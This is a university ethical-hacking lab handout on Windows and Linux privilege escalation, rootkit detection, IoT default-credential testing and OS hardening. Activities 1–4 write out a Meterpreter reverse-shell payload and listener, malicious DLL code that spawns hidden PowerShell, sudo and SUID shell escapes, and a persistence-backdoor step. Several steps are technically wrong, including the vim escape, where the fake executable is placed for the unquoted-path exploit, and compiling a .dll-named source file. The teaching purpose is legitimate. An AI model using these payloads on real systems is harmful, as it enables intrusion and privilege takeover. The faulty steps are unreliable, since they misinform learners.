

Week 7 Lab Activities – Beginners Friendly: Operating System Vulnerabilities

Course: CCS6324 Ethical Hacking and Penetration Testing
Week: 15-21 December

Lab Environment Setup

Prerequisites:

- A virtual machine (a "pretend computer" running inside your real computer)
- VirtualBox or Hyper-V software (programs that let you create virtual machines)
- Windows 7/10 vulnerable VM or Linux vulnerable VM (practice systems that have intentional security problems)
- Network isolation (your practice computer must NOT be connected to the real internet)

Security Reminder: All activities are conducted in isolated lab environments. Never test on systems without explicit written authorization.

Assessment Weighting

Total Mark Allocation: Weekly Lab Activities: 5% of the total 100 marks

Lab Activity Completion Requirements:

- Complete a minimum of **4 out of 7** lab activities
 - Document deliverables for each activity
 - Demonstrate hands-on execution and understanding
-

Lab Activity 1: Windows Unquoted Service Path Exploitation

What is this activity about?

A "service" is a program that runs automatically on Windows. Some services have paths (addresses) without quotes around them. This is like leaving a door partially open, we can exploit it to gain control.

Step-by-Step Instructions

Step 1: Open Command Prompt as Administrator

1. Click on the Windows Start menu
2. Type "cmd" in the search box
3. Right-click on "Command Prompt"
4. Select "Run as administrator"
5. A black window will open. This is your command prompt

Step 2: Find Unquoted Service Paths

1. In the command prompt, type this command exactly:

```
wmic service get name,pathname,startmode | findstr /V "^REM"
```

2. Press Enter
3. You will see a list of services and their paths
4. Look for paths that have spaces in them but no quotation marks around them
5. Write down the names of these services on a piece of paper

Example: If you see something like:

```
C:\Program Files\MyService\Service.exe
```

This is VULNERABLE because there are spaces and no quotes.

Step 3: Check if These Paths are Writable

1. For each vulnerable service you found, check who can write files there
2. Type this command (replace the path with your vulnerable path):

```
icacls C:\Program Files\
```

3. Press Enter
4. Look for your username in the output, if it's there with "write" permission, the path is exploitable
5. Document what you find

Step 4: Create a Fake Malicious Program

1. Open Metasploit (a hacking tool your instructor already provided)
2. Create a payload (a fake program) using this command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.X.X LPORT=4444 -f  
exe > Program.exe
```

Note: Replace the correct IP address to use instead of "192.168.X.X"

3. It creates a file called "Program.exe" that looks harmless but actually gives us access

Step 5: Start the Handler (the "Listener")

1. In Metasploit, set up a handler to receive the connection:

```
use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST 192.168.X.X  
set LPORT 4444  
run
```

2. This tells Metasploit to wait for a connection

Step 6: Place Your Fake Program

1. Copy "Program.exe" to the vulnerable directory path you found
2. For example, if the path is `C:\Program Files\Service\`, put it there
3. Restart the service or wait for Windows to restart it automatically

Step 7: Watch the Connection Happen

1. Look at the Metasploit handler window
2. When the service restarts, you should see a connection!
3. Type `whoami` to confirm you have system privileges (SYSTEM access)

Deliverables

- A screenshot showing the list of unquoted service paths
- A screenshot showing "SYSTEM" privilege confirmation
- Written steps explaining how you fixed this vulnerability (put quotes around the service path)

Lab Activity 2: Windows DLL Hijacking Attack

What is this activity about?

A DLL is a file that programs use to run. When a program looks for a DLL, it checks certain folders in a specific order. If we put a fake DLL in one of those folders first, the program will use our fake one instead.

Step-by-Step Instructions

Step 1: Choose a Target Program

1. Pick a program on your Windows practice computer (like Notepad or a game)
2. Open a tool called "Dependency Walker"
3. Drag your chosen program into Dependency Walker
4. It will show you all the DLL files that the program uses
5. Write down some of these DLL names

Step 2: Find Where Programs Look for DLLs

Windows looks for DLLs in this order:

1. The folder where the program is located
2. The System folder (C:\Windows\System32)
3. Other folders in the PATH

We want to put our fake DLL in folder #1, before Windows checks the real folder.

Step 3: Create a Malicious DLL

Copy the following code:

```
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        WinExec("cmd.exe /c powershell.exe -nop -w hidden", SW_HIDE);
    }
    return TRUE;
}
```

1. Paste this into Visual Studio (or any notebook)
2. Save it with the name of the DLL you found (for example: `msvcrt.dll`)
3. Click "Build" or "Compile"
4. You now have your fake DLL file

Step 4: Check if the Folder is Writable

1. Go to the folder where your target program is

2. Right-click in the empty space
3. Select "New" → "Text Document"
4. Try to create a test file
5. If successful, this folder is writable (we can put our fake DLL here)

Step 5: Place Your Fake DLL

1. Copy your malicious DLL file to the program's folder
2. Give it the same name as one of the DLLs the program uses
3. Make sure the bit version matches (32-bit or 64-bit)

Step 6: Run the Program

1. Double-click the target program to run it
2. When the program starts, it will look for DLLs
3. It will find your fake DLL first
4. Your malicious code will execute (a command prompt might open)

Step 7: Monitor What Happened

1. Open Process Monitor (a tool your instructor provides)
2. Run the same program again
3. Look for lines showing DLL loading
4. You'll see your fake DLL being loaded, this is proof of the attack

Deliverables

- Screenshots from Dependency Walker showing DLL dependencies
- A screenshot showing your fake DLL was successfully executed
- Process Monitor logs showing the DLL loading
- Written explanation of how to prevent this attack (use code signing)

Lab Activity 3: Linux SUID Binary Exploitation

What is this activity about?

In Linux, some programs have special permission called "SUID" that lets regular users run them as the root (admin) user. If these programs have bugs, we can trick them into giving us root power.

Step-by-Step Instructions

Step 1: Find SUID Programs

1. Open a terminal on your Linux practice machine
2. Type this command:

```
find / -perm -4000 -type f -ls 2>/dev/null
```

3. Press Enter
4. You will see a list of programs with the SUID permission
5. Copy 5-10 of these program names to a list

Step 2: Understand What You Found

For each program:

1. Type `which program-name` to see where it is
2. Type `ls -la /path/to/program` to see its permissions
3. If you see an 's' in the permissions, it's SUID
4. Write down the program name and path

Step 3: Research Vulnerabilities

1. For each SUID program you found, search online for known problems
2. Use Google to search: "[program-name] vulnerability" or "[program-name] exploit"
3. Check websites like CVE.org or exploit-db.com
4. Look for programs like "nmap" or "vim" that are known to have problems
5. Your instructor will help you identify which ones are exploitable

Step 4: Research the Exploitation Method

1. Find documentation or a guide for exploiting your chosen vulnerable program
2. Read through it carefully
3. Understand each step before trying it
4. Ask your instructor if anything is confusing

Step 5: Prepare Your Exploit

For example, if nmap is vulnerable:

1. Create a file called "exploit.sh" (a script file)
2. In the file, write the exploitation commands
3. Your instructor will provide you with the exact code
4. Save the file

Step 6: Execute the Exploit

1. Open a terminal

2. Navigate to where your exploit file is
3. Run it by typing: `bash exploit.sh`
4. If it works, you should see a command prompt change
5. Type `id` to check if you now have root privileges

Step 7: Verify Success

1. Type `whoami` - it should show "root"
2. Type `id` - it should show "uid=0(root)"
3. Take a screenshot as proof

Step 8: Post-Exploitation

- Document access method
- Create a backdoor for persistence (authorized lab only)
- Gather system information as root

Step 9: Remediation

- Remove unnecessary SUID bits:
`sudo chmod u-s /path/to/vulnerable/binary`
- Patch vulnerable software
- Implement AppArmor/SELinux restrictions

Deliverables

- List of discovered SUID binaries with analysis
- Exploitation proof (root shell screenshot)
- Exploit code or methodology documented
- Remediation verification

Lab Activity 4: Linux sudo GTFOBins Exploitation

What is this activity about?

"sudo" lets trusted users run commands as root. If a user can run certain tools with sudo, we might be able to trick that tool into giving us a root shell (full access).

Step-by-Step Instructions

Step 1: Check Your Sudo Permissions

1. Open a terminal on your Linux practice machine
2. Type this command:

```
sudo -l
```

3. Press Enter
4. It will ask for your password, type it in
5. You will see a list of programs you can run with sudo
6. Write down each program in the list

Step 2: Understand What You Can Do

Each program you see has special powers. Your job is to find one that can give you a root shell.

Common dangerous programs:

- **vim**: A text editor that can run system commands
- **find**: A search tool that can run commands
- **awk**: A text processing tool
- **less**: A file viewer that can run commands

Step 3: Try vim Exploitation

If you see "vim" in your sudo list:

1. Type this command:

```
sudo vim /tmp/dummy_file
```

2. Press Enter
3. A vim editor window opens
4. Type (without the quotes): `#!/bin/bash`
5. Press Enter
6. A bash shell should appear!
7. Type `whoami` - it should say "root"
8. Type `exit` to close the root shell

Step 4: Try find Exploitation

If you see "find" in your sudo list:

1. Type this command:

```
sudo find . -exec /bin/bash \;
```

2. Press Enter

3. If it works, a bash shell appears with root access
4. Type `whoami` - should say "root"
5. Type `exit` to close it

Step 5: Try awk Exploitation

If you see "awk" in your sudo list:

1. Type this command:

```
sudo awk 'BEGIN {system("/bin/bash")}'
```

2. Press Enter
3. If it works, you get a root bash shell
4. Type `whoami` - should say "root"
5. Type `exit` to close it

Step 6: Try less Exploitation

If you see "less" in your sudo list:

1. Type this command:

```
sudo less /etc/passwd
```

2. Press Enter
3. The file opens in less
4. Type (exactly): `!/bin/bash`
5. Press Enter
6. A root bash shell appears
7. Type `whoami` - should say "root"
8. Type `exit` twice to close everything

Step 7: Fix the Vulnerability

1. Open a terminal
2. Type: `sudo visudo`
3. Find the line with dangerous commands like vim, find, awk, or less
4. Delete those lines or add restrictions
5. Example of a safe line:

```
yourname ALL=(ALL) NOPASSWD: /usr/bin/find -type f -name "*.log"
```

This only allows finding log files, not running bash.

Deliverables

- Screenshot of the `sudo -l` output showing what you can run
 - Screenshots showing you successfully got a root shell using at least 2 different methods
 - The original sudoers line (the vulnerable version)
 - The fixed sudoers line (the secure version)
 - Written explanation of why these programs are dangerous
-

Lab Activity 5: Rootkit Installation and Detection

What is this activity about?

A rootkit is advanced malware that hides itself deeply in the operating system. It's very dangerous because it's hard to find and remove. In this lab, we learn what they do and how to detect them.

Step-by-Step Instructions

Step 1: Research What Rootkits Are

1. Search online for information about rootkits
2. Read about how they work (they hide processes, files, network connections)
3. Understand that they're designed to avoid detection
4. Write down 5 facts you learned

Step 2: Study Detection Tools

Your instructor will show you tools that find rootkits:

1. **chkrootkit**: Scans for Linux rootkit signs
2. **rkhunter**: Another rootkit hunter tool
3. **GMER**: For Windows systems

Research each tool:

1. What does it do?
2. How does it find rootkits?
3. Where can you download it?

Step 3: Install Detection Tools

Follow your instructor's guidance to install:

```
sudo apt-get install chkrootkit
sudo apt-get install rkhunter
```

Step 4: Run chkrootkit (Clean System First)

1. Open a terminal
2. Type:

```
sudo chkrootkit
```

3. Press Enter
4. The scan will take several minutes
5. Write down anything marked as "INFECTED" or "SUSPECT"
6. Take a screenshot of the output

Step 5: Run rkhunter (Clean System)

1. Type:

```
sudo rkhunter --check --skip-keypress
```

2. Press Enter
3. Wait for the scan to complete
4. Look for any warnings or suspicious findings
5. Take a screenshot

Step 6: Check System Files for Changes

1. Type:

```
ls -la /boot/  
ls -la /sbin/init
```

2. Press Enter
3. Note the dates and sizes (for comparison later)

Step 7: Check Running Processes

1. Type:

```
ps aux
```

2. Press Enter
3. Write down the names of all running processes
4. Save this list (we'll compare it later)

Step 8: Check Network Connections

1. Type:

```
netstat -tulpn
```

2. Press Enter
3. Write down which programs are connected to the network
4. Look for anything suspicious

Step 9: Check Kernel Modules

1. Type:

```
lsmod
```

2. Press Enter
3. This shows kernel modules (extensions)
4. Write down what you see

Step 10: Install a Test Rootkit (Instructor Only)

Your instructor will guide you on how to install a test rootkit in a controlled way. This is to show how the detection tools catch it.

Step 11: Run Detection Tools Again

1. Run the same commands from Steps 4-9
2. Compare the results with what you saw before
3. The detection tools should now find something!
4. Take screenshots showing the differences

Step 12: Remove the Rootkit

1. Your instructor will guide removal
2. Usually this means:
 - Boot from a live USB/CD (a special recovery disk)
 - Delete the rootkit files
 - Restore from a backup
 - Reinstall the operating system

Step 13: Verify It's Gone

1. Run the detection tools again
2. Everything should be clean
3. Take screenshots showing the system is now safe

Deliverables

- Written explanation of what rootkits are and how they work
 - Screenshots of chkrootkit output (before and after rootkit installation)
 - Screenshots of rkhunter output (before and after)
 - Process lists (before and after) with differences highlighted
 - Network connection lists (before and after)
 - Step-by-step removal procedure you followed
 - Final screenshot showing the system is rootkit-free
-

Lab Activity 6: IoT/Embedded Device Vulnerability Assessment

What is this activity about?

IoT devices are smart devices like cameras, routers, thermostats, or smart speakers. Many of these devices have weak security. In this activity, we learn to find and assess these weaknesses.

Important: Proceed with this lab activity only if you have IoT devices around you.

Step-by-Step Instructions

Step 1: List All IoT Devices You Have

1. Walk around your lab and find all IoT/embedded devices
2. For each device, write down:
 - **Type:** (example: security camera, router, smart speaker)
 - **Manufacturer:** (example: TP-Link, D-Link, Netgear)
 - **Model:** (example: ER604)
 - **Firmware Version:** (look on the device or in settings)

1. Create a table in a document

Step 2: Research Known Problems

For each device:

1. Go to Google and search: "[device-name] [model-number] vulnerability" or "[device-name] CVE"
2. Go to CVE.org and search for your device
3. Write down any known security problems
4. Note the severity (Critical, High, Medium, or Low)

Step 3: Find the Device on Your Network

1. Open a terminal or command prompt
2. Type:

```
nmap -sV 192.168.1.0/24
```

(Your instructor will give you the correct network range)

3. Press Enter
4. Wait for the scan to finish
5. You'll see a list of devices and their IP addresses
6. Find your IoT devices in the list
7. Write down their IP addresses

Step 4: Try Default Usernames and Passwords

Many IoT devices come with default passwords:

1. Go to your device's web interface (open a browser and type the IP address)
2. Try to log in with these common defaults:

- Username: `admin` | Password: `admin`
- Username: `admin` | Password: `password`
- Username: `root` | Password: `root`
- Username: `root` | Password: `password`
- Username: `admin` | Password: `123456`

1. For each device, try each combination
2. Write down which ones work
3. Take screenshots of successful logins

Step 5: Check for Open Ports and Services

Back to your nmap results:

1. Look at the ports that are open (shown in the nmap output)
2. Common ones for IoT:

- **Port 22:** SSH (secure shell access)
- **Port 23:** Telnet (old, unsafe access)
- **Port 80:** Web interface (unencrypted)
- **Port 443:** Web interface (encrypted)

1. Write down what services each device is running

Step 6: Try to Access Insecure Services

If you found port 23 (Telnet) is open:

1. Type: `telnet 192.168.1.X` (replace X with the device's IP)
2. If it connects, it's very insecure (Telnet has no encryption)
3. Try default credentials
4. Document this finding

Step 7: Extract and Analyze Firmware

(Only if your instructor approves and provides guidance)

Some devices let you download their firmware:

1. Go to the manufacturer's website
2. Download the firmware file for your device
3. Your instructor will show you how to analyze it
4. Look for hardcoded passwords or known vulnerabilities

Step 8: Document Your Findings

Create a security assessment report that includes:

- Which devices had weak default passwords
- Which devices had insecure services (like Telnet)
- Which open ports were unnecessary
- Any CVE vulnerabilities you found

Step 9: Recommendations

For each device:

1. Change the default password to something strong
2. Disable unnecessary services
3. Update the firmware to the latest version
4. Document the steps taken

Deliverables

- A table listing all IoT devices found (type, manufacturer, model, firmware)
- Network scan results showing device IP addresses and open ports
- A list of default credentials was tested, and which ones worked
- Screenshots of successful unauthorized access (if any)
- Security assessment report with findings and severity levels
- Recommendations for securing each device

- Screenshots showing devices after applying security fixes
-

Lab Activity 7: OS Hardening Exercise

What is this activity about?

"Hardening" means making an operating system as secure as possible. We turn off unnecessary features, apply updates, set strong passwords, and configure security tools.

Step-by-Step Instructions

WINDOWS HARDENING

Step 1: Disable Unnecessary Services

A "service" is a program running in the background. Many services you don't need.

Simple Method:

1. Press the Windows key + R
 2. Type: `services.msc`
 3. Press Enter
 4. You see a list of services
 5. Find and disable these (right-click → Properties → Startup type: Disabled):
 - Fax Service
 - Print Spooler (if not needed)
 - SSDP Discovery
 - Universal Plug and Play Device Host
1. Click "Apply" and "OK"
 2. Click "Stop" to stop it immediately

Advanced Method: Look through the list and think: "Do I need this?" If not, disable it.

Step 2: Turn On Windows Defender

1. Click the Windows Start menu
2. Type: `Windows Defender`
3. Open Windows Defender
4. Make sure the toggle is ON (blue)
5. Click "Virus & threat protection"

6. Click "Manage settings"
7. Turn on "Real-time protection"

Step 3: Update Virus Definitions

1. In Windows Defender, click "Virus & threat protection"
2. Under "Virus & threat protection updates," click "Check for updates"
3. Let it download the latest definitions
4. This takes a few minutes

Step 4: Configure Windows Firewall

1. Click the Windows Start menu
2. Type: `Windows Defender Firewall`
3. Open it
4. Click "Allow an app through firewall"
5. Uncheck any programs you don't recognize
6. Click "OK"

Step 5: Block Dangerous Ports

Advanced ports 137-139 and 445 are used for file sharing and can be exploited.

1. Click Start menu
2. Type: `Windows Defender Firewall with Advanced Security`
3. Open it
4. Click "Inbound Rules"
5. Click "New Rule"
6. Select "Port"
7. Select "TCP"
8. Type: `137,138,139,445`
9. Select "Block the connection"
10. Finish the wizard
11. Repeat for UDP protocol

Step 6: Enable UAC (User Account Control)

UAC asks you before making important changes.

1. Click Start menu
2. Type: `UAC` or "User Account Control"
3. Open "Change User Account Control settings"
4. Move the slider to the top (highest protection)
5. Click "OK"

Step 7: Turn On BitLocker Encryption

BitLocker encrypts your hard drive.

Note: This requires Windows Pro or higher.

1. Click Start menu
2. Type: `BitLocker`
3. Open "Manage BitLocker"
4. Click "Turn On BitLocker"
5. Follow the wizard
6. Save the recovery key somewhere safe
7. Click "Start encryption"

Step 8: Check User Permissions

1. Press Windows key + R
2. Type: `compmgmt.msc`
3. Press Enter
4. Open "Local Users and Groups"
5. Click "Users"
6. Look at each user
7. Only administrative users should be admins
8. Right-click a user → Properties if you need to change their role

Step 9: Set Strong Password Policy

1. Press Windows key + R
2. Type: `secpol.msc`
3. Press Enter
4. Go to "Account Policies" → "Password Policy"
5. Set:
 - Minimum password length: 8 characters
 - Password must meet complexity requirements: Enabled
1. Click "Apply"

Step 10: Enable Automatic Windows Updates

1. Click Start menu
2. Type: `Windows Update`
3. Open it
4. Click "Check for updates"
5. Let all updates install
6. Restart your computer if needed
7. Make sure automatic updates are enabled

Step 11: Remove Guest Account

1. Press Windows key + R
2. Type: `lusrmgr.msc`
3. Press Enter
4. Click "Users"
5. Right-click "Guest" user
6. Click "Delete"
7. Confirm deletion

Step 12: Check for Blank Passwords

1. In the same Users list (lusrmgr.msc)
2. Right-click each user
3. Click "Properties"
4. Check if they have a password set
5. If blank, set a strong password

Step 13: Disable Administrator Account

1. In Users list (lusrmgr.msc)
2. Right-click "Administrator"
3. Click "Properties"
4. Check "Account is disabled"
5. Click "Apply"

Step 14: Check for and Remove Alternate Data Streams

Alternate Data Streams are hidden files that can hide malware.

1. Open PowerShell as Administrator
2. Type:

```
Get-Item -Path "C:\Users\YourUsername\*" -Stream * -ErrorAction  
SilentlyContinue
```

3. If you find any, delete them with your instructor's help

Deliverables (Windows)

- Checklist showing all 14 steps completed
- Screenshots of each configuration change
- Before/after comparison of security settings
- List of disabled services
- Screenshot of strong password policy applied

LINUX HARDENING

Step 1: Update Everything

1. Open a terminal
2. Type:

```
sudo apt-get update  
sudo apt-get upgrade
```

3. Press Enter
4. Say "yes" when asked
5. Wait for all updates to install

Step 2: Disable Unnecessary Services

1. Type:

```
sudo systemctl list-unit-files --type=service
```

2. This shows all services
3. For each service you don't need, type:

```
sudo systemctl disable service-name  
sudo systemctl stop service-name
```

Common ones to disable:

- apache2 (web server, if not needed)
- bluetooth (if not needed)
- cups (printer service, if not needed)

Step 3: Set Up Firewall (UFW)

1. Type:

```
sudo apt-get install ufw
```

2. Press Enter
3. Type:

```
sudo ufw enable
```

4. Type:

```
sudo ufw default deny incoming
sudo ufw default allow outgoing
```

5. This blocks incoming traffic but allows outgoing

Step 4: Allow Only Necessary Ports

If you need SSH (for remote access):

1. Type:

```
sudo ufw allow 22/tcp
```

2. Press Enter

If you need HTTP (web):

```
sudo ufw allow 80/tcp
```

Check your rules:

```
sudo ufw status
```

Step 5: Enable SELinux or AppArmor

AppArmor is the Linux security system.

1. Type:

```
sudo aa-enforce /etc/apparmor.d/*
```

2. Press Enter
3. This enables protection for system programs

Step 6: Harden SSH

SSH lets you connect to your computer remotely. We need to make it secure.

1. Type:

```
sudo nano /etc/ssh/sshd_config
```

2. Press Enter
3. Look for and change these lines:

- Find `#PermitRootLogin yes` → change to `PermitRootLogin no`
- Find `#Port 22` → change to `Port 2222` (using a different port)

- Find `PasswordAuthentication yes` → **change to** `PasswordAuthentication no` (optional, advanced)
2. To save: Press Ctrl + O, then Enter, then Ctrl + X
 3. Restart SSH:

```
sudo systemctl restart ssh
```

Step 7: Remove Unnecessary SUID Binaries

SUID binaries can be exploited for privilege escalation.

1. Type:

```
find / -perm -4000 -type f 2>/dev/null
```

2. Write down the list
3. For each unnecessary one (ask your instructor), type:

```
sudo chmod u-s /path/to/binary
```

For example:

```
sudo chmod u-s /usr/bin/nmap
```

Step 8: Enable System Auditing

Auditing logs all important system events.

1. Type:

```
sudo apt-get install auditd
```

2. Press Enter
3. Type:

```
sudo systemctl enable auditd  
sudo systemctl start auditd
```

Step 9: Enable Fail2Ban

Fail2Ban blocks users who try wrong passwords too many times.

1. Type:

```
sudo apt-get install fail2ban
```

2. Press Enter

3. Type:

```
sudo systemctl enable fail2ban  
sudo systemctl start fail2ban
```

Step 10: Enable Disk Encryption

This encrypts your hard drive so no one can read it without the password.

Note: This should be done during initial installation. If you need to do it now, ask your instructor.

For new partitions:

```
sudo cryptsetup luksFormat /dev/sdX  
sudo cryptsetup luksOpen /dev/sdX encrypted-name  
sudo mkfs.ext4 /dev/mapper/encrypted-name
```

Step 11: Set Strong File Permissions

1. Type:

```
chmod 700 ~/.bash_history  
chmod 644 ~/.bashrc  
chmod 600 ~/.ssh/authorized_keys
```

Step 12: Check for Blank Passwords

1. Type:

```
sudo awk -F: '($2 == "") {print $1}' /etc/shadow
```

2. If any users appear, they have blank passwords; fix them!

Step 13: Set Up File Integrity Monitoring

AIDE checks if important files have been changed.

1. Type:

```
sudo apt-get install aide aide-common
```

2. Type:

```
sudo aideinit
```

3. This will take several minutes

4. When done, type:

```
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
```

5. Later, check for changes:

```
sudo aide --check
```

Step 14: Install OpenVAS for Vulnerability Scanning

OpenVAS finds weaknesses in your system.

```
sudo apt-get install openvas  
sudo openvas
```

Step 15: Check Installed Services Regularly

1. Type:

```
sudo netstat -tulpn
```

2. Look for any services you don't recognize
3. Remind the lecture slides or existing lab sessions about them (Google for it)

Deliverables (Linux)

- Checklist showing all 15 steps completed
- Screenshot of ufw status (showing firewall rules)
- Screenshot of SSH configuration changes
- List of disabled services with reason for each
- List of SUID binaries removed with justification
- Before/after network connection lists (netstat)
- Screenshot of AIDE verification
- Security audit log showing system monitoring

FINAL CHECKLIST FOR BOTH SYSTEMS

For Windows:

- ☐ All unnecessary services disabled
- ☐ Windows Defender running and updated
- ☐ Windows Firewall configured
- ☐ UAC enabled
- ☐ Strong password policy enabled
- ☐ Dangerous ports blocked

- ☐ Guest and Administrator accounts disabled
- ☐ All users have strong passwords
- ☐ BitLocker encryption enabled

For Linux:

- ☐ All system updates installed
 - ☐ Unnecessary services disabled
 - ☐ UFW firewall enabled and configured
 - ☐ AppArmor enabled
 - ☐ SSH hardened
 - ☐ SUID binaries removed
 - ☐ Auditd and Fail2Ban running
 - ☐ Disk encryption enabled
 - ☐ AIDE file integrity monitoring configured
 - ☐ No blank passwords
 - ☐ Firewall rules working correctly
-

Final Activity: OS Vulnerability Assessment Report

Objective: Conduct a comprehensive vulnerability assessment on a system and document findings.

Scope: Complete operating system evaluation covering Windows, Linux, or embedded devices

Report Requirements

1. Executive Summary (1-2 pages)

- Assessment scope and objectives
- Critical findings summary
- Risk impact overview
- Recommended priorities

2. Vulnerability Inventory (2-3 pages)

- Detailed list of discovered vulnerabilities
- Severity classification (Critical, High, Medium, Low)
- CVSS scores and CVE references
- Affected systems and services
- Exploitability assessment

3. Detailed Findings (4-6 pages) For each vulnerability:

- Description and technical details
- Exploitation method and proof-of-concept
- Potential impact and business risk
- Affected configurations and versions
- Remediation steps and timeline
- References to CVE database entries
- Include specific Windows vulnerabilities (unquoted service paths, DLL hijacking, insecure permissions, RPC issues, etc.) or Linux vulnerabilities (SUID binaries, sudo misuse, stored passwords, etc.) as applicable
- Document any password-related vulnerabilities or authentication weaknesses discovered

4. Hardening Recommendations (2-3 pages)

- Patching schedule and methodology
- Configuration hardening measures specific to the identified OS
- Access control implementation (ACLs, RBAC)
- Windows-specific: AppLocker, UAC, BitLocker, firewall rules (ports 137-139, 445)
- Linux-specific: SELinux/AppArmor, SSH hardening, SUID restrictions, sudo configuration
- Monitoring and logging setup
- Antivirus/anti-malware deployment for Windows
- Incident response procedures
- Service hardening and unnecessary service disabling
- File system security considerations (NTFS ACLs, encryption)

5. Lab Evidence (Appendix)

- Screenshots of vulnerability discovery and scanning
- Tool outputs (MBSA, WinPEAS, OpenVAS, chkrootkit, etc.)
- Exploitation proofs of concept were applicable
- Hardening implementation screenshots
- Before/after security posture comparisons
- Configuration files showing hardening measures

Submission Requirements

- Professional formatting and structure
- Proper citation of sources and tools
- Clear documentation of methodology
- Actionable recommendations with an implementation timeline
- Inclusion of at least 3 different vulnerability scanning tools
- Documentation of at least 5 distinct vulnerabilities discovered

Grading Criteria

- Completeness of vulnerability assessment (30%)
 - Multiple OS types or comprehensive single OS coverage
 - Identification of configuration vs. CVE vulnerabilities
 - Coverage of file system, access control, and authentication vulnerabilities
 - Technical accuracy and depth (25%)
 - Correct CVSS scoring
 - Accurate vulnerability descriptions
 - Valid exploitation techniques
 - Quality of recommendations (20%)
 - Practicality and feasibility
 - Proper remediation timelines
 - Reference to specific hardening methods covered in the course
 - Professional presentation (15%)
 - Clear writing and organization
 - Proper formatting and citations
 - Visual aids and screenshots were appropriate
 - Evidence of hands-on lab work (10%)
 - Tool outputs and screenshots
 - Proof of exploitation/vulnerability verification
 - Hardening verification evidence
-

Lab Safety and Compliance

Important Reminders:

- Conduct all activities in **isolated lab environments only**
- Never execute exploits on production systems
- Obtain **written authorization** before testing any system
- Document all activities comprehensively
- Follow responsible disclosure if testing non-lab systems
- Respect data privacy and confidentiality
- Report findings through proper channels

Ethical Obligations:

As future security professionals, understanding these vulnerabilities enables you to protect systems, not compromise them. Use this knowledge responsibly and legally.

The End!